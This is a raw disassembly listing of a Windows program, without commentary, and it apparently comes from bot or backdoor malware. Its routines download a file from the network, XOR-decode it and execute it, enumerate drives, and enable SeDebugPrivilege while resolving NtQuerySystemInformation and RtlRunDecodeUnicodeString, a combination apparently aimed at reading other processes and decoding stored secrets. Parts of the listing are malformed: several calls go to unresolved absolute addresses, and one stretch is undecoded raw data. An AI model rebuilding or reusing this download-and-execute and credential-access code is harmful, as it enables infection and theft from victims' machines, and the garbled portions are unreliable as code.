sub [ebp+8], eax
jnz loc_41604A
mov edi, [ebp-18h]
loc_4160E7: ; CODE XREF: ___:0041603Fj
push dword ptr [ebp-8]
call near ptr 2690934h
nop
push dword ptr [ebp-0Ch]
push dword ptr [ebp-10h]
call sub_416923
pop ecx
pop ecx
push eax
push dword ptr [ebp-44h]
call dword_4CB6E0
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset unk_437BA8
push eax
call sub_41B886
loc_416120: ; CODE XREF: ___:00415FF7j
add esp, 14h
loc_416123: ; CODE XREF: ___:00416030j
cmp [ebp-50h], esi
jnz short loc_416148
push esi
lea eax, [ebp-3FCh]
push dword ptr [ebp-54h]
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409A73
add esp, 14h
loc_416148: ; CODE XREF: ___:00416126j
lea eax, [ebp-3FCh]
push eax
call sub_4151AD
cmp edi, esi
pop ecx
jbe short loc_416160
push edi
call dword_4CB6EC
loc_416160: ; CODE XREF: ___:00416157j
push dword ptr [ebp-1F8h]
call dword_4CB6EC
push dword ptr [ebp-58h]
call sub_40B413
pop ecx
push esi
nop
call near ptr 2710000h
loc_41617C: ; CODE XREF: ___:004160CAj
; ___:004160D5j
push esi
mov esi, offset dword_437B90
push dword ptr [ebp-54h]
lea eax, [ebp-0DCh]
push esi
push eax
push dword ptr [ebp-1FCh]
call sub_409A73
push esi
call sub_4151AD
add esp, 18h
push dword ptr [ebp-1F8h]
call dword_4CB6EC
push dword ptr [ebp-58h]
call sub_40B413
pop ecx
push ebx
nop
call near ptr 2710000h
loc_4161BD: ; DATA XREF: sub_401ACD+7B4o
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41BB20
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1C0h]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [ebp-8], ebx
mov [eax+1B0h], esi
lea eax, [ebp-2C4h]
push 104h
push eax
call near ptr 26A0B90h
nop
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-2C4h]
push eax
lea eax, [ebp-2C4h]
push offset dword_429AD0
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp-2C4h]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call near ptr 27308C8h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_416247
push offset unk_437D0C
jmp short loc_41628D
; ---------------------------------------------------------------------------
loc_416247: ; CODE XREF: ___:0041623Ej
push eax
nop
call near ptr 2690934h
lea eax, [ebp-2C4h]
push offset aAB ; "a+b"
push eax
call sub_41B4C2
pop ecx
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jnz short loc_41626F
push offset unk_437CDC
jmp short loc_41628D
; ---------------------------------------------------------------------------
loc_41626F: ; CODE XREF: ___:00416266j
push dword ptr [ebp-20h]
lea eax, [ebp-1B8h]
push eax
call sub_415BD4
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+8], eax
jnz short loc_4162A0
push offset unk_437CBC
loc_41628D: ; CODE XREF: ___:00416245j
; ___:0041626Dj
lea eax, [ebp-4C4h]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_41639C
; ---------------------------------------------------------------------------
loc_4162A0: ; CODE XREF: ___:00416286j
mov esi, 1000h
loc_4162A5: ; CODE XREF: ___:0041630Bj
push esi
lea eax, [ebp-14C4h]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-14C4h]
push ebx
push esi
push eax
push dword ptr [ebp+8]
call dword_4CB66C
mov edi, eax
cmp edi, ebx
jz loc_41636C
cmp edi, 0FFFFFFFFh
jz short loc_41630D
push dword ptr [ebp-4]
lea eax, [ebp-14C4h]
push edi
push 1
push eax
call sub_41D2B4
add [ebp-8], edi
add esp, 10h
push dword ptr [ebp-8]
call dword_4CB650
mov [ebp-0Ch], eax
push ebx
lea eax, [ebp-0Ch]
push 4
push eax
push dword ptr [ebp+8]
call dword_4CB6A4
jmp short loc_4162A5
; ---------------------------------------------------------------------------
loc_41630D: ; CODE XREF: ___:004162D5j
lea eax, [ebp-4C4h]
push offset dword_437B90
push eax
call sub_41B886
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409A73
lea eax, [ebp-4C4h]
push eax
call sub_4151AD
push dword ptr [ebp-4]
call sub_41B05B
add esp, 24h
push dword ptr [ebp+8]
call dword_4CB6EC
push dword ptr [ebp-1Ch]
call sub_40B413
pop ecx
push 1
nop
call near ptr 2710000h
loc_41636C: ; CODE XREF: ___:004162CCj
mov eax, [ebp-8]
cdq
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
lea eax, [ebp-1B8h]
push eax
lea eax, [ebp-1A4h]
push eax
lea eax, [ebp-4C4h]
push offset unk_437C90
push eax
call sub_41B886
add esp, 14h
loc_41639C: ; CODE XREF: ___:0041629Bj
cmp [ebp-14h], ebx
jnz short loc_4163C1
push ebx
lea eax, [ebp-4C4h]
push dword ptr [ebp-18h]
push eax
lea eax, [ebp-0A0h]
push eax
push dword ptr [ebp-1C0h]
call sub_409A73
add esp, 14h
loc_4163C1: ; CODE XREF: ___:0041639Fj
lea eax, [ebp-4C4h]
push eax
call sub_4151AD
cmp [ebp-4], ebx
pop ecx
jz short loc_4163DC
push dword ptr [ebp-4]
call sub_41B05B
pop ecx
loc_4163DC: ; CODE XREF: ___:004163D1j
cmp [ebp+8], ebx
jbe short loc_4163EA
push dword ptr [ebp+8]
call dword_4CB6EC
loc_4163EA: ; CODE XREF: ___:004163DFj
push dword ptr [ebp-1Ch]
call sub_40B413
pop ecx
push ebx
call near ptr 2710000h
nop
loc_4163FA: ; DATA XREF: sub_401ACD+627Ao
; sub_401ACD+6ABAo
push ebp
mov ebp, esp
sub esp, 510h
mov eax, [ebp+8]
push ebx
push esi
push edi
mov ecx, 0AAh
mov esi, eax
lea edi, [ebp-2CCh]
push 1
rep movsd
pop edi
xor esi, esi
push esi
mov [eax+2A4h], edi
push esi
push esi
lea eax, [ebp-248h]
push esi
push eax
push dword_4CB604
call dword_4CB558
cmp eax, esi
mov [ebp-18h], eax
jz loc_416886
push esi
push esi
push 2
push esi
push esi
lea eax, [ebp-148h]
push 40000000h
push eax
nop
call near ptr 27308C8h
cmp eax, edi
mov [ebp-20h], eax
jnb short loc_4164C1
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset unk_437ED8
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4164A4
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A73
add esp, 14h
loc_4164A4: ; CODE XREF: ___:00416482j
lea eax, [ebp-510h]
push eax
call sub_4151AD
push dword ptr [ebp-48h]
call sub_40B413
pop ecx
pop ecx
push esi
call near ptr 2710000h
nop
loc_4164C1: ; CODE XREF: ___:00416462j
xor edi, edi
nop
call near ptr 26C066Dh
mov ebx, 7D000h
mov [ebp-4], eax
push ebx
call sub_41B4D5
pop ecx
mov [ebp-1Ch], eax
loc_4164DB: ; CODE XREF: ___:004165AEj
push 200h
lea eax, [ebp-510h]
push esi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+8]
push eax
lea eax, [ebp-510h]
push 200h
push eax
push dword ptr [ebp-18h]
call dword_4CB560
cmp [ebp-34h], esi
jz short loc_41651F
push dword ptr [ebp+8]
lea eax, [ebp-510h]
push eax
call sub_4168EC
pop ecx
pop ecx
loc_41651F: ; CODE XREF: ___:0041650Cj
lea eax, [ebp-24h]
push esi
push eax
lea eax, [ebp-510h]
push dword ptr [ebp+8]
push eax
push dword ptr [ebp-20h]
nop
call near ptr 2720000h
cmp edi, ebx
jnb short loc_41655D
mov eax, ebx
sub eax, edi
cmp eax, [ebp+8]
jbe short loc_416547
mov eax, [ebp+8]
loc_416547: ; CODE XREF: ___:00416542j
push eax
lea eax, [ebp-510h]
push eax
mov eax, [ebp-1Ch]
add eax, edi
push eax
call sub_41C310
add esp, 0Ch
loc_41655D: ; CODE XREF: ___:00416539j
add edi, [ebp+8]
cmp [ebp-3Ch], esi
jz short loc_41656A
cmp edi, [ebp-3Ch]
ja short loc_4165B4
loc_41656A: ; CODE XREF: ___:00416563j
cmp dword ptr [ebp-44h], 1
mov eax, edi
jz short loc_416584
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_437EB0
jmp short loc_416594
; ---------------------------------------------------------------------------
loc_416584: ; CODE XREF: ___:00416570j
shr eax, 0Ah
push eax
lea eax, [ebp-248h]
push eax
push offset unk_437E88
loc_416594: ; CODE XREF: ___:00416582j
mov eax, [ebp-48h]
imul eax, 234h
add eax, offset dword_43E390
push eax
call sub_41B886
add esp, 10h
cmp [ebp+8], esi
ja loc_4164DB
loc_4165B4: ; CODE XREF: ___:00416568j
cmp [ebp-3Ch], esi
mov dword ptr [ebp-14h], 1
jz short loc_416609
cmp edi, [ebp-3Ch]
jz short loc_416609
push dword ptr [ebp-3Ch]
lea eax, [ebp-510h]
mov [ebp-14h], esi
push edi
push offset unk_437E5C
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A73
lea eax, [ebp-510h]
push eax
call sub_4151AD
add esp, 28h
loc_416609: ; CODE XREF: ___:004165BEj
; ___:004165C3j
nop
call near ptr 26C066Dh
sub eax, [ebp-4]
xor edx, edx
mov ecx, 3E8h
push dword ptr [ebp-20h]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call near ptr 2690934h
nop
push dword ptr [ebp-1Ch]
call sub_41B0B1
cmp [ebp-38h], esi
pop ecx
jz short loc_416693
lea eax, [ebp-148h]
push eax
call sub_4010AB
cmp eax, [ebp-38h]
pop ecx
jz short loc_416693
push dword ptr [ebp-38h]
mov [ebp-14h], esi
push eax
lea eax, [ebp-510h]
push offset unk_437E34
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A73
lea eax, [ebp-510h]
push eax
call sub_4151AD
add esp, 28h
loc_416693: ; CODE XREF: ___:0041663Bj
; ___:0041664Dj
cmp [ebp-14h], esi
jz loc_4168D3
cmp dword ptr [ebp-44h], 1
jz loc_41678E
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276A8
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276A8
fstp qword ptr [esp]
push offset unk_437DFC
push eax
call sub_41B886
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_41670E
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A73
add esp, 14h
loc_41670E: ; CODE XREF: ___:004166ECj
lea eax, [ebp-510h]
push eax
call sub_4151AD
cmp dword ptr [ebp-40h], 1
pop ecx
jnz loc_4168D3
push 5
push esi
lea eax, [ebp-148h]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CB5C0
cmp [ebp-30h], esi
jnz loc_4168D3
lea eax, [ebp-148h]
push eax
lea eax, [ebp-510h]
push offset dword_437DE0
push eax
call sub_41B886
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A73
lea eax, [ebp-510h]
push eax
call sub_4151AD
add esp, 24h
jmp loc_4168D3
; ---------------------------------------------------------------------------
loc_41678E: ; CODE XREF: ___:004166A0j
mov [ebp-8], ebx
mov [ebp-4], esi
fild qword ptr [ebp-8]
push ecx
push ecx
mov [ebp-8], edi
mov [ebp-4], esi
fmul dbl_4276A8
lea eax, [ebp-148h]
fstp qword ptr [esp]
fild qword ptr [ebp-8]
push eax
push ecx
push ecx
lea eax, [ebp-510h]
fmul dbl_4276A8
fstp qword ptr [esp]
push offset unk_437D9C
push eax
call sub_41B886
add esp, 1Ch
cmp [ebp-30h], esi
jnz short loc_4167F6
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A73
add esp, 14h
loc_4167F6: ; CODE XREF: ___:004167D4j
lea eax, [ebp-510h]
push eax
call sub_4151AD
push 10h
lea eax, [ebp-10h]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp-310h]
pop edi
push edi
push esi
push eax
call sub_41B590
add esp, 1Ch
mov [ebp-310h], edi
lea eax, [ebp-10h]
mov dword ptr [ebp-304h], offset dword_43D808
push 1
mov [ebp-2E0h], si
pop edi
push eax
lea eax, [ebp-310h]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp-148h]
push esi
push eax
push esi
mov [ebp-2E4h], edi
nop
call near ptr 2690C14h
cmp eax, edi
jnz short loc_416878
call dword_4CB5AC
call sub_41835A
push esi
call near ptr 77E75CB5h
nop
loc_416878: ; CODE XREF: ___:00416864j
lea eax, [ebp-148h]
push eax
push offset unk_437D68
jmp short loc_416892
; ---------------------------------------------------------------------------
loc_416886: ; CODE XREF: ___:0041643Fj
lea eax, [ebp-248h]
push eax
push offset unk_437D3C
loc_416892: ; CODE XREF: ___:00416884j
lea eax, [ebp-510h]
push eax
call sub_41B886
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4168C6
push esi
lea eax, [ebp-510h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-2CCh]
call sub_409A73
add esp, 14h
loc_4168C6: ; CODE XREF: ___:004168A4j
lea eax, [ebp-510h]
push eax
call sub_4151AD
pop ecx
loc_4168D3: ; CODE XREF: ___:00416696j
; ___:0041671Fj ...
push dword ptr [ebp-18h]
call dword_4CB688
push dword ptr [ebp-48h]
call sub_40B413
pop ecx
push esi
nop
call near ptr 2710000h
; =============== S U B R O U T I N E =======================================
sub_4168EC proc near ; CODE XREF: ___:00416518p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416908
loc_4168F8: ; CODE XREF: sub_4168EC+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_4168F8
locret_416908: ; CODE XREF: sub_4168EC+Aj
retn
sub_4168EC endp
; =============== S U B R O U T I N E =======================================
sub_416909 proc near ; CODE XREF: sub_401ACD+5842p
; sub_401ACD+596Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41D3BE
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416909 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416923 proc near ; CODE XREF: sub_40F96B+458p
; sub_40F96B+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D3288
push 0
push edi
call sub_41B590
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416948: ; CODE XREF: sub_416923+5Bj
; sub_416923+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41D480
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41D410
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416986
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416948
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416948
; ---------------------------------------------------------------------------
loc_416986: ; CODE XREF: sub_416923+4Bj
dec esi
mov eax, edi
loc_416989: ; CODE XREF: sub_416923+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416998
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416989
; ---------------------------------------------------------------------------
loc_416998: ; CODE XREF: sub_416923+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416923 endp
; =============== S U B R O U T I N E =======================================
sub_4169A2 proc near ; CODE XREF: sub_416B57+51p
; sub_416B57+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CB6B4
sub eax, 0
jz short loc_4169E5
dec eax
jz short loc_4169DF
dec eax
dec eax
jz short loc_4169D9
dec eax
jz short loc_4169D3
dec eax
jz short loc_4169CD
dec eax
jz short loc_4169C7
mov eax, offset word_437F2C
retn
; ---------------------------------------------------------------------------
loc_4169C7: ; CODE XREF: sub_4169A2+1Dj
mov eax, offset off_437F28
retn
; ---------------------------------------------------------------------------
loc_4169CD: ; CODE XREF: sub_4169A2+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_4169D3: ; CODE XREF: sub_4169A2+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_4169D9: ; CODE XREF: sub_4169A2+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_4169DF: ; CODE XREF: sub_4169A2+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_4169E5: ; CODE XREF: sub_4169A2+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_4169A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4169EB proc near ; CODE XREF: sub_416A33+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CB544
test eax, eax
jz short loc_416A20
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_416A20: ; CODE XREF: sub_4169EB+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_4169EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416A33 proc near ; CODE XREF: sub_416B57+17p
; sub_41AA43+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_4169EB
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416B11
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416B11
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416B11
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41D500
push edx
push eax
call sub_416923
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41B980
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41D500
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41B980
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41D500
push edx
push eax
call sub_416923
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41B980
add esp, 10h
pop ebx
jmp short loc_416B43
; ---------------------------------------------------------------------------
loc_416B11: ; CODE XREF: sub_416A33+2Cj
; sub_416A33+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi
push eax
call sub_41B886
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi
push eax
call sub_41B886
pop ecx
pop ecx
loc_416B43: ; CODE XREF: sub_416A33+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416A33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B57 proc near ; CODE XREF: sub_416C29+17p
; sub_416C29+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416A33
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41C070
add esp, 10h
test eax, eax
jnz short loc_416BCA
push ebx
push ebx
call sub_4169A2
pop ecx
push eax
push offset unk_437F7C
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41B980
add esp, 14h
jmp short loc_416BFE
; ---------------------------------------------------------------------------
loc_416BCA: ; CODE XREF: sub_416B57+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_4169A2
pop ecx
push eax
push offset unk_437F40
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41B980
add esp, 20h
loc_416BFE: ; CODE XREF: sub_416B57+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_500]
push eax
call sub_4151AD
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416B57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C29 proc near ; CODE XREF: sub_401ACD+2554p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416C4A
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B57
add esp, 10h
jmp short loc_416CAB
; ---------------------------------------------------------------------------
loc_416C4A: ; CODE XREF: sub_416C29+9j
push esi
push edi
push ebx
push ebx
call dword_4CB5BC
lea esi, [eax+2]
push esi
call sub_41B4D5
pop ecx
mov edi, eax
push edi
push esi
call dword_4CB5BC
cmp [edi], bl
mov esi, edi
jz short loc_416CA2
loc_416C6E: ; CODE XREF: sub_416C29+77j
push offset off_437FB8
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_416C91
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416B57
add esp, 10h
loc_416C91: ; CODE XREF: sub_416C29+54j
push esi
call sub_41AFE0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_416C6E
loc_416CA2: ; CODE XREF: sub_416C29+43j
push edi
call sub_41B0B1
pop ecx
pop edi
pop esi
loc_416CAB: ; CODE XREF: sub_416C29+1Fj
pop ebx
pop ebp
retn
sub_416C29 endp
; ---------------------------------------------------------------------------
word_416CAE dw 8B55h ; DATA XREF: sub_401ACD+68A0o
dd 9CEC81ECh, 8B000004h, 56530845h, 0A7B957h, 0F08B0000h
dd 0FD64BD8Dh, 0A5F3FFFFh, 29880C7h, 10000h, 858D0000h
dd 0FFFFFEECh, 42FEE850h, 0DB330000h, 0EB05BC80h, 5CFFFFFEh
dd 8D147559h, 0FFFEEC85h, 0E5E850FFh, 59000042h, 0EB059C88h
dd 8DFFFFFEh, 0FFFDE885h, 0DC6850FFh, 8D00437Fh, 0FFFB6485h
dd 20068FFh, 0E8500000h, 4C60h, 3910C483h, 2075F85Dh, 64858D53h
dd 0FFFFFFFBh, 8D50F475h, 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h
dd 0FF2D2EE8h, 14C483FFh, 0FEEC858Dh, 5053FFFFh, 0FDE8858Dh
dd 8D50FFFFh, 0FFFD6885h, 0F475FFFFh, 64B5FF50h, 0E8FFFFFDh
dd 5Dh, 5018C483h, 0FB64858Dh, 0BC68FFFFh, 5000437Fh, 4B05E8h
dd 0CC48300h, 75F85D39h, 858D5320h, 0FFFFFB64h, 50F475FFh
dd 0FD68858Dh, 0FF50FFFFh, 0FFFD64B5h, 2CCDE8FFh, 0C483FFFFh
dd 64858D14h, 50FFFFFBh, 0FFE3F8E8h, 0F075FFFFh, 0FF4656E8h
dd 535959FFh, 2F923BE8h, 5E5F9002h, 0EC8B555Bh, 54CEC81h
dd 56530000h, 104BE57h, 75FF0000h, 0B8858D18h, 68FFFFFDh
dd 438020h, 91E85056h, 8B00004Bh, 4270003Dh, 10C48300h
dd 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh, 89FFF883h
dd 0C8BBFC45h, 7400429Ah, 0BC85F671h, 10FFFFFEh, 0BD805474h
dd 0FFFFFEE8h, 8012752Eh, 0FFFEE9BDh, 427400FFh, 0FEE9BD80h
dd 742EFFFFh, 0E8858D39h, 50FFFFFEh, 0FCB4858Dh, 75FFFFFFh
dd 50565318h, 4B2FE8h, 1C75FF00h, 0FCB4858Dh, 0FF50FFFFh
dd 75FF1475h, 0C75FF10h, 0E80875FFh, 0FFFFFF5Dh, 892CC483h
dd 858D1C45h, 0FFFFFEBCh, 0FC75FF50h, 917EE890h, 0C0850237h
dd 75FF8F75h, 71E890FCh, 0FF023591h, 858D1475h, 0FFFFFDB8h
dd 531875FFh, 0DDE85056h, 8300004Ah, 858D14C4h, 0FFFFFEBCh
dd 0B8858D50h, 50FFFFFDh, 0F08BD7FFh, 74FFFE83h, 0E8858D4Fh
dd 0FFFFFFFEh, 8D501C45h, 0FFFAB485h, 1875FFFFh, 43800468h
dd 2006800h, 0E8500000h, 4AA0h, 858D016Ah, 0FFFFFAB4h
dd 501075FFh, 0FF0C75FFh, 7CE80875h, 83FFFF2Bh, 858D28C4h
dd 0FFFFFEBCh, 0E8905650h, 23790F8h, 0B175C085h, 90EEE856h
dd 8B900235h, 5E5F1C45h
; ---------------------------------------------------------------------------
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F1B proc near ; DATA XREF: sub_401ACD+1CD0o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41A8F5
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_416F5A
cmp eax, 2
jz short loc_416F5A
push offset unk_4381F8
jmp loc_417099
; ---------------------------------------------------------------------------
loc_416F5A: ; CODE XREF: sub_416F1B+2Ej
; sub_416F1B+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419652
pop ecx
test eax, eax
pop ecx
jz loc_417094
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
nop
call near ptr 26E0000h
mov esi, dword_4270BC
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D44CC, eax
call esi
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D44C0, eax
call esi
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D46D0, eax
call esi
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D44C8, eax
call esi
mov dword_4D44C4, eax
call sub_4170ED
test eax, eax
mov [ebp+arg_0], eax
jz loc_417067
mov esi, dword_42713C
mov edi, 400h
mov ebx, offset dword_4D34C0
push edi
push ebx
push offset off_438134
